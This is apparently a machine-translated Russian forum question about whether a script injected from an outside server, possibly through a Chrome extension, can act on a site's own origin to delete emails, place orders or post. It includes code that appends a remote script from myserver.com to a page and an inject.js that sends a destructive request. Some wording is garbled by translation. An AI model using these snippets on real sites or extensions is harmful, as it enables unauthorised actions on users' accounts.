Некоторые серверы позволяют динамически вставлять элемент сценария с src, отличающийся от домена страницы.Пульт дистанционного управления с помощью скриптового ввода
Мы не можем отправить данные на другой сервер из-за Same Origin Policy, но мы можем сделать что-то вроде:
- удалить все сообщения электронной почты в некоторых MailService
- сделать несколько заказов на магазин
- сообщения на запись SocialNetwork и так далее ...
Причина сценарий был введен в страница x с сервера A, и запросы поступают на сервер A, здесь нет ничего плохого - политика одинакового происхождения не работает.
Охраняются ли серверы от этого по умолчанию?
На защищенных серверах мы получили это:
Отказался загрузить сценарий, потому что он нарушает следующее содержание директивы политики безопасности: «скрипт-Src„небезопасного-Eval“„небезопасный-инлайн“
q=document.createElement('script');
q.src='http://myserver.com/inject.js';
document.head.append(q);
Такой сценарий может быть свернута в расширение хром и установлен. (я не прав здесь или, возможно, расширения есть еще несколько ограничений?)
А вот inject.js при условии, сервер обработки запроса со стиранием-сообщения электронной почты парами:
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://stackoverflow.com/?delete-emails');
xhr.onreadystatechange = function() {
if (this.readyState === 4 && this.status === 200) {
console.log(location.href);
}
};
xhr.send();
Например, если вставить скрипт элемент (в голову) в stackoverflow.com страницы, я получаю 200 OK
.